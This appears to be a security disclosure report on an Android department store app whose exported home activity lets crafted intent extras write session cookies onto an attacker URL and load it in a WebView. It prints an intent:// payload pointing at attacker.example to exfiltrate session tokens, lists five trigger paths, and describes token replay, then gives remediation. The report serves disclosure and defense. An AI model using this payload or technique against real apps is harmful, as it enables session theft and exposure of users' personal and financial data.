← Back to all reports

Exported Home Activity Cookie Injection to Session Token Theft

Reported Apr 9, 2026
Severity Critical
Platform Android
Vulnerability Class Exposed Sensitive Intent (CWE-926)
Target Type US Department Store Retail
Impact One-tap session theft and PII exposure

The Risk

A single tap on a crafted link could hand the attacker the victim's session for a major US department store's app. From a separate machine, the attacker could read the victim's name, email, loyalty cash balance, rewards tier, full order history, saved addresses, and cart contents. No app install or extra permissions were needed. The same trick could also be triggered by any other harmless looking app already on the phone, with no taps at all.

The Vulnerability

The Android app exported its main launcher activity with a BROWSABLE intent filter that accepted attacker-controlled string extras. Five independent code paths inside the activity all reached the same dangerous outcome: a call to CookieManager.setCookie() on a URL pulled directly from an intent extra, with no domain validation, immediately followed by a WebView load of that same URL.

Because session cookies were attached to whatever URL was loaded, sending the user to an attacker domain caused the app to write the victim's session tokens onto the attacker's domain and then issue an HTTP request carrying those cookies in the Cookie header.

Multiple paths, one outcome

Five separate intent extra combinations all triggered cookie injection on an attacker URL:

PathTrigger ExtraTokens Leaked
Aopen_screen_key=open_web_view + URL extraSession ID, profile ID
Bopen_screen_key=open_baby_registry + item_urlSession ID, profile ID, visitor ID
CPush-handler URL extraSession ID, visitor ID
DLanding page deep link code + item_urlSession ID, visitor ID
Eopen_screen_key=open_lists_favorites + item_urlSession ID, profile ID, visitor ID

Patching one path did not fix the issue. The root cause was the exported activity itself plus the unguarded cookie write helper that several flows shared.

The Attack

The deep link took the form of an intent:// URI with the app's package name and a few string extras:

intent://#Intent;scheme=android-app;package=<app>;
S.open_screen_key=open_baby_registry;
S.item_url=https://attacker.example/lists/steal;end
  1. The victim, signed in to the app, taps the link in Chrome (delivered via SMS, email, web page, or QR code).
  2. Chrome resolves the intent:// URI and hands off to the app.
  3. The app's home activity receives the extras, routes through one of the five paths, and calls CookieManager.setCookie() on the attacker URL with the user's session cookies.
  4. The app then loads the attacker URL in a WebView. The HTTP request carries the session cookies in its headers.
  5. The attacker's server reads the cookies from the Cookie header and stores them.
  6. The victim sees a brief "Web page not available" inside the app. Tokens were already exfiltrated before any page rendered.

Token replay from a separate machine

Replaying the captured X-Session-Id and X-Profile-Id from a different machine, with a fabricated device identifier, returned valid responses on every endpoint tested. There was no device or IP binding on the session.

Co-installed app variant

Because the activity was exported, any zero-permission app installed on the same device could call startActivity() with the same extras and trigger the same exfiltration with no user interaction at all. A malicious app disguised as a calculator or wallpaper would silently capture the session whenever the user was signed in.

The Impact

Replaying the stolen tokens against the app's API confirmed read access to a wide range of personal and financial data:

EndpointData Exposed
Profile attributesEmail, full name, loyalty ID, profile ID
Wallet itemsLoyalty cash balance, gift cards, offers, rewards
Rewards trackerEarning tier, cash status, thresholds
Account ordersFull order history
Account addressesSaved shipping addresses
CartCart contents, shipping details, order summary

Password and email change endpoints required additional verification and could not be driven with the stolen tokens alone, so this is not full account takeover. The realised impact is unauthorised access to sensitive personal, financial, and transactional data on every signed-in user who taps a link.

Remediation

  • Remove the android-app:// BROWSABLE intent filter from the launcher activity, or restrict it to verified App Link domains owned by the company.
  • Validate every URL-bearing intent extra against an allowlist of first-party domains before any WebView load.
  • Stop calling CookieManager.setCookie() on URLs that are not first-party domains. Centralise this check in a single helper.
  • Bind session tokens to a device fingerprint server-side so a stolen token cannot be replayed from a different machine.
  • Audit all entry points into the home activity for the same pattern, not just the path used in the proof of concept.